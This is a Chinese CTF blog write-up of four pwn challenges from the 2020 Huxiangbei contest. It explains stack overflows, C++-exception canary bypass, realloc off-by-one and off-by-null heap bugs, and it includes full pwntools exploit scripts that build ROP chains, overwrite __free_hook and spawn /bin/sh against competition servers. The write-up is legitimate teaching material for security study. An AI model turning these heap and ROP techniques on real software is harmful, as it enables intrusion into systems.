LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

2020 湖湘杯 PWN WriteUp

文章首发于安全客点这里

赛后竞赛的界面就关了,题目名称可能会有些不对

printf

这个题目的原型题是google ctf sprint

程序首先是mmap了一个0x4000000大小的地址空间到0x4000000为内地址的内存中,然后拷贝了一大堆的格式化字符串,接着scanf读取用户输入的16个数字,之后进入while循环,在满足判断条件退出之前不断地调用sprintf函数。退出循环之后会存在一个overflow函数,可以溢出的字节是好像是由sprintf的结果指定的。

在比赛的过程中我是直接输入不同的值,观察跳出循环后的状态,发现当前九个数字为0x20的时候,最大就会溢出0x40个字节,当然这里if条件判断中也写了v12<=0x20。那么这里推测格式化字符串的效果就是将用户输入的某个位置的数字(很大的可能是第9个)赋值到v12中。

那么拿到这个溢出的漏洞之后剩下的就是执行rop了,这里比赛中脑子抽风,用了非常麻烦的方法,一共迁移了三次栈帧。其实可以直接将返回地址改为main函数,重新来一次溢出的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# encoding=utf-8
from pwn import *

file_path = "./printf"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x401181")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('47.111.104.169', 55606)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0


p.recvuntil("very interesting\n")
rop_address = 0x4100000
p_rdi_r = 0x0000000000401213
p_rsi_r = 0x0000000000401211
ret_add = 0x0000000000400629
leave_r = 0x00000000004007ed
read_plt = elf.plt['read']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
read_bss_add = 0x400e040
index = 9
for i in range(index):
p.sendline(str(0x20))

p.sendline(str(read_plt))
for i in range(15 - index):
p.sendline(str(0x400))

payload = flat([
# p_rdi_r, 0,
p_rsi_r, rop_address, 0,
read_plt,
p_rdi_r, read_got,
leave_r,
])

payload2 = flat([
puts_plt,
p_rdi_r, 0,
p_rsi_r, read_bss_add + 0x10, 0,
leave_r,
])
p.send(p64(rop_address)+ payload.ljust(0x38, b"\x00"))
p.send(p64(read_bss_add) + payload2)
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - libc.sym['read']
log.success("libc address is {}".format(hex(libc.address)))

p_rdx_r = 0x0000000000001b92 + libc.address

# payload = flat([
# p_rdx_r, 0x200,
# p_rsi_r, read_bss_add + 0x50, 0,
# p_rdi_r, 0,
# read_plt
# ])

bin_sh = flat([
p_rdi_r, libc.search(b"/bin/sh\x00").__next__(),
libc.sym['system']
])

# p.send(payload.ljust(0x40, b"\x00"))

p.send(bin_sh)

p.interactive()

blend

题目的原型题目是2017 DCTF flex

程序在name的部分首先存在一个格式化字符串的漏洞。然后程序提供了三种操作add,delete,show,存在UAF漏洞,但是只能add两个堆块,这里没办法利用,同时题目给出了一个后门函数

图片无法显示,请联系作者

这里是利用C++的异常处理,抛出了一个异常,异常的名字很怪,可以在bss段中看到它。这里存在一个栈溢出的漏洞,可以溢出0x8字节,也就是可以直接覆盖rbp。但是程序开启了一个Canary的保护,那么漏洞利用的主要就在于异常处理了。先是通过_cxa_allocate_exception分配了一个0x90大小的堆块,然后在申请的空间中赋了字符串的值。这里在调试的时候发现其调用了bss段中的函数指针,一开始的想法就是修改这个指针,但是没有办法利用UAF。后面就是通过_cxa_throw函数抛出异常的过程了,这个时候查到了原型题目,发现main函数中存在try catch的捕捉异常的结构,当抛出异常的时候就能直接被main函数捕捉到之后就会进入catch,这个时候rbp就会变成main函数的ebp,异常处理结束之后直接leave,ret了,并没有检查canary的值。

这里我们又能覆写rbp,同时可以利用UAF泄露出堆的地址,因此这里直接覆写rbp为堆的地址,那么在处理异常结束之后就会迁移栈帧到堆中,执行我们提前布置好的rop链。

需要注意的是在抛出异常的过程中会涉及到对堆中某些元素或者以某些元素为地址的写,因此需要提前布置好相关的地址和设计好rop的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# encoding=utf-8
from pwn import *

file_path = "./blend"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x121c)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('47.111.104.169', 57404)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0


def show_name():
p.sendlineafter("your choice >", "1")


def add(content=b"\n"):
p.sendlineafter("your choice >", "2")
p.sendafter("input note:", content)


def delete(index):
p.sendlineafter("your choice >", "3")
p.sendlineafter("index>", str(index))


def show():
p.sendlineafter("your choice >", "4")


def magic(content):
p.sendlineafter("your choice >", "666")
p.sendafter("what you want:", content)


payload = "%p-%p"
p.sendafter("enter a name: ", payload)
show_name()
p.recvuntil("Current user:")
stack_address = int(p.recvuntil("-", drop=True), 16) + 0x2680
libc.address = int(p.recvline(), 16) - 0x3c6780

leave_r = 0x0000000000042361 + libc.address
p_rdi_r = 0x0000000000021112 + libc.address
p_rsi_r = 0x00000000000202f8 + libc.address

bin_sh = flat([
stack_address, stack_address,
stack_address,
p_rdi_r, libc.search(b"/bin/sh\x00").__next__(),
libc.sym['system']
])

add(bin_sh + b"\n")
add(bin_sh + b"\n")
delete(0)
delete(1)
show()
p.recvuntil("index 2:")
heap_address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00"))

log.success("stack address {}".format(hex(stack_address)))
log.success("libc address {}".format(hex(libc.address)))
log.success("heap address {}".format(hex(heap_address)))

# gdb.attach(p, "b *$rebase(0x121c)\nb *$rebase(0x12c2)")
magic(p64(heap_address + 0x10)*4 + p64(heap_address + 0x20)*2)

p.interactive()

only_add

这个题目堆调试的眼睛都瞎了

add是通过realloc分配的,并将地址写到了全局buf中,并且只有这一个分配函数,另一个函数就是buf=0,close(stdout),只能调用一次。在add函数中有一个off-by-one的漏洞。

之前没有接触过realloc的堆题目,对其的了解仅限于realloc(0)相当于free。这里在调试的时候发现,当reallocsize小于原有的size的时候会对原有的chunk进行切割,并将切割后的部分做一个类似于free的操作。

这里没有show函数,因此只能通过覆写stdout来进行libc基址的泄露,那么首先就需要填满tcache。为了方便后面的off-by-one的利用,这里我们将tcache中的堆块分配为地址相邻的。具体的方法就是分配一个0x500附近的堆块,是的0x500-size>0x410(这里选择的size0x90),也就是对chunk切割之后,剩余的chunk满足和top合并的要求,之后再次申请size大小的堆块,那么剩余部分就会合并到top chunk中,显式的释放申请到的chunkrealloc(0),此时tcache中就填充了一个size大小的堆块。重复8次,就可以得到一个包含有main_arena附近地址的chunk

那么如何分配到这个chunk,并修改chunkmain_arena附近的地址指向stdout呢。这里采用的方法就是在0x30大小的堆块空间内布置三个堆块,通过0x30的第一个堆块off-by-one构造堆重叠,覆写main_arena附近的地址为stdout,通过0x90即上一步构造的chunk off-by-one构造堆重叠覆写0x30链表中第二个chunkfd指针指向包含有main_arena附近的地址的chunk。这样就完成了构造,只需要申请三次0x30大小的堆块就可以分配到stdout附近的地址了。要满足这样的需要在第三个0x30大小的堆块(tcache中的第一个堆块)申请之前申请一个堆块用于堆重叠,需要在第70x90大小的堆块申请之前,申请一个堆块用于堆重叠,最终构造出的堆布局如下

图片无法显示,请联系作者

利用0x5c0地址的chunk覆写0x670地址的chunksize位为0xf1,使其能够覆写0x730,0x700地址的chunk。覆写0x730堆块的FD指针的低一字节为0xe0即指向包含有main_arena附近地址的堆块。利用0x760大小的堆块覆写0x7b0大小的堆块的size使其能够覆写0x7d0fd指针,将低二字节覆写为stdout的地址,这里需要1/16的爆破。

图片无法显示,请联系作者

可以看到这里申请三次0x30大小的堆块就可以覆写stdout了,在申请释放的过程中需要注意改变堆块的size,防止申请的堆块释放的时候又回到了0x30的链表中,这里之前用之前的堆重叠堆块覆写size位就可以。

在覆写stdout泄露得到libc基址之后,由于stdout并不符合一个堆块的要求,因此其在realloc函数中会报错。这里就需要调用close函数了,因为此时会清空buf指针。之后直接利用堆重叠覆写tcachefd指向free_hook-0x18的位置,写入cmd+system_address。因为此时我们关闭了stdout,因此需要将命令设置为cat flag 1&>2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xB1B)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('47.111.104.99', 51905)
libc = ELF('./libc.so.6')
one_gadget = 0x0


def add(size, content=b"\n"):
p.sendlineafter("choice:", "1")
p.sendlineafter("Size:", str(size))
p.sendafter("Data:", content)


def add_without(size, content=b"\n"):
p.sendline("1")
sleep(0.1)
p.sendline(str(size))
sleep(0.1)
p.send(content)
sleep(0.1)


def delete():
p.sendlineafter("choice:", "1")
p.sendlineafter("Size:", str(0))


def delete_without():
p.sendline("1")
sleep(0.1)
p.sendline(str(0))
sleep(0.1)


def close_stdout():
p.sendlineafter("choice:", "2")


stdout = 0xa760
malloc_size = 0x4f0

while True:
try:
for i in range(6):
add(malloc_size)
add(0x80)
delete()

add(malloc_size)
add(0xa8)
delete()

add(malloc_size)
add(0x80)
delete()

add(malloc_size)
add(0x28)
delete()
add(malloc_size)
add(0x28)
delete()
add(malloc_size)
add(0x48)
delete()
add(malloc_size)
add(0x28)
delete()

log.success("free unsorted bin chunk")
add(0x3c0)
add(0x80)
delete()

# gdb.attach(p, "b *$rebase(0xB1B)")

add(0xa8, b"a" * 0xa8 + b"\xf1")
delete()
add(0x88)
delete()
add(0xe8, b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x21) + b"\xe0")
delete()

add(0x48, b"a" * 0x48 + b"\xc1")
delete()
add(0x28)
delete()
add(0xb8, b"a" * 0x28 + p64(0x91) + p16(stdout))
delete()

add(0xe8, b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x41))
delete()
add(0x28)
delete()
add(0x28)
delete()
add(0x28, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00")

p.recvuntil(p64(0xfbad2887 | 0x1000), timeout=1)
p.recv(0x18)
libc.address = u64(p.recv(8)) + 0x60 - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))
if b"\x7f" in p64(libc.address):
break
except KeyboardInterrupt:
exit(0)
except:
p.close()
if debug:
p = process([file_path])

else:
p = remote('47.111.104.99', 51905)

close_stdout()

p.recvuntil("Bye\n")
# gdb.attach(p, "b *$rebase(0xB1B)")

payload = b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x61) + p64(libc.sym['__free_hook'] - 0x18) + b"\n"
add_without(0xe8, payload)
delete_without()
add_without(0x38)

delete_without()

payload2 = b"cat flag 1>&2".ljust(0x18, b"\x00") + p64(libc.sym['system']) + b"\n"
add_without(0x38, payload2)

# gdb.attach(p, "b *$rebase(0xB1B)")
delete_without()

p.interactive()

babyheap

程序提供了四种操作add,show,edit,delete。其中add函数只能分配0xF8大小的字节,edit函数中存在一个off-by-null。比较经典的2.27下面的off-by-null的利用。但是由于这里不能写入prev_size位,因此需要想些办法。

在泄露出libc基址之后,通过释放四个0x100大小的堆块,在依次申请,使得第2,3,4大小的堆块的prev_size位残留有释放堆块时写入的prev_size。得到prev_size之后就可以利用off-by-null了。首先释放第1个堆块,利用第2个堆块改写3堆块的PREV_INUSE位,释放第3个堆块,此时1,2,3堆块合并,再依次申请三个堆块1,3,5,那么此时2,3中保存的堆块指针相同。

利用指向同一个堆块的两个指针构造double free。覆写free_hooksystem,释放包含有/bin/sh字符串的堆块即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# encoding=utf-8
from pwn import *

file_path = "./babyheap"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xD3B)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('47.111.96.55', 55103)
libc = ELF('./libc.so.6')
one_gadget = 0x0


def add():
p.sendlineafter(">>", "1")


def show(index):
p.sendlineafter(">>", "2")
p.sendlineafter("index?", str(index))


def edit(index, size, content):
p.sendlineafter(">>", "3")
p.sendlineafter("index?", str(index))
p.sendlineafter("Size:", str(size))
p.sendafter("Content:", content)


def delete(index):
p.sendlineafter(">>", "4")
p.sendlineafter("index?", str(index))


for i in range(7):
add()
add() # 7
add()
add() # 9
for i in range(7):
delete(i)

delete(7)
delete(8)
for i in range(7):
add()

add() # 7
show(7)

p.recv()
libc.address = u64(p.recvline().strip(b"\n").ljust(0x8, b"\x00")) - 0x250 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address {}".format(hex(libc.address)))


add() # 8
add() # 10
add()
add() # 12
add() # 13
add() # 14
for i in range(7):
delete(i)


delete(10)
delete(11)
delete(12)
delete(13)

for i in range(7):
add()

add()
add()
add()
add()


for i in range(7):
delete(i)


delete(10)
edit(12, 0xf8, "\x00")
delete(13)

for i in range(7):
add()


add() # 10
add() # 13 == 11
add() # 14
add() # 15

delete(13)
delete(14)
delete(11)

# gdb.attach(p, "b *$rebase(0xD3B)")

add() # 11
edit(11, 0x20, p64(libc.sym['__free_hook']))
add() # 13
add() # 14
edit(14, 0x20, "/bin/sh\x00")
add() # 15
edit(17, 0x20, p64(libc.sym['system']))
delete(14)

p.interactive()

参考

google ctf sprint

2017 DCTF flex